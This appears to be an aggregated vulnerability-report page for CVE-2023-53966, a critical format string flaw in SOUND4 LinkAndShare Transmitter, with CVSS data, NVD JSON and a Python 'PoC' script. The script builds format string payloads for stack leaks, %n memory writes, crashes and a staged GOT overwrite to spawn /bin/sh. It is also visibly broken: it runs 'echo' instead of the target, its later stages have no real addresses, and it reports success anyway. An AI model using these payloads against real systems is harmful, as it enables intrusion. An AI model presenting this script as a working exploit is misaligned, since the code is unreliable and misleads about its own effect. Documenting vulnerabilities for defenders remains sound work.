Security Vulnerability Report
中文
CVE-2023-53966 CVSS 9.8 CRITICAL

CVE-2023-53966

Published: 2025-12-22 22:16:01
Last Modified: 2025-12-31 17:12:26

Description

SOUND4 LinkAndShare Transmitter 1.1.2 contains a format string vulnerability that allows attackers to trigger memory stack overflows through maliciously crafted environment variables. Attackers can manipulate the username environment variable with format string payloads to potentially execute arbitrary code and crash the application.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sound4:linkandshare_transmitter:1.1.2:*:*:*:*:*:*:* - VULNERABLE
SOUND4 LinkAndShare Transmitter <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2023-53966 PoC - Format String Vulnerability in SOUND4 LinkAndShare Transmitter # Environment Variable Injection to Trigger Stack Overflow import os import subprocess import sys def create_malicious_env_var(): """Generate format string payload for exploiting the vulnerability""" # Format string payload to leak stack pointers leak_payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p" # Format string payload for potential code execution # This uses %%n to write to arbitrary addresses exec_payload = b"AAAA%08x.%08x.%08x.%08x.%08x.%n" # Crash payload - causes denial of service crash_payload = b"%s%s%s%s%s%s%s%s%s%s" return { 'LEAK': leak_payload, 'EXEC': exec_payload, 'CRASH': crash_payload } def test_format_string_vulnerability(): """Test for format string vulnerability by setting malicious USERNAME env var""" payloads = create_malicious_env_var() print("[*] CVE-2023-53966 Format String Vulnerability Test") print("[*] Target: SOUND4 LinkAndShare Transmitter 1.1.2") for name, payload in payloads.items(): print(f"\n[*] Testing {name} payload...") print(f"[*] Payload: {payload}") # Set malicious environment variable env = os.environ.copy() env['USERNAME'] = payload.decode('utf-8', errors='ignore') try: # Attempt to trigger the vulnerable code path # In real attack, this would be the vulnerable application result = subprocess.run( ['echo', 'Test environment variable handling'], env=env, capture_output=True, timeout=5 ) print(f"[+] Payload sent successfully") print(f"[*] Output: {result.stdout.decode('utf-8', errors='ignore')}") except Exception as e: print(f"[-] Error: {e}") def generate_exploit_payload(): """Generate advanced exploit payload for arbitrary code execution""" # Stage 1: Leak libc addresses stage1 = b"%p" * 20 # Stage 2: Overwrite GOT entry (example: printf@got -> system) # This requires knowing libc base address stage2 = b"\x90" * 100 + b"%n" # Stage 3: Call system() with controlled argument stage3 = b";/bin/sh;-c" + b"A" * 50 + b"%n" print("[*] Advanced Exploit Payloads Generated") print(f"[*] Stage 1 (Info Leak): {stage1}") print(f"[*] Stage 2 (GOT Overwrite): {stage2}") print(f"[*] Stage 3 (Code Execution): {stage3}") return [stage1, stage2, stage3] if __name__ == "__main__": test_format_string_vulnerability() generate_exploit_payload() print("\n[*] Note: This PoC demonstrates the format string vulnerability") print("[*] In production, target the actual SOUND4 LinkAndShare binary")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53966", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:01.193", "lastModified": "2025-12-31T17:12:25.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOUND4 LinkAndShare Transmitter 1.1.2 contains a format string vulnerability that allows attackers to trigger memory stack overflows through maliciously crafted environment variables. Attackers can manipulate the username environment variable with format string payloads to potentially execute arbitrary code and crash the application."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sound4:linkandshare_transmitter:1.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "FE434B79-F936-4885-90DD-EB167BC8EA8B"}]}]}], "references": [{"url": "https://web.archive.org/web/20221207074555/https://www.sound4.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51259", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sound-linkandshare-transmitter-format-string-stack-buffer-overflow", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5744.php", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5744.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}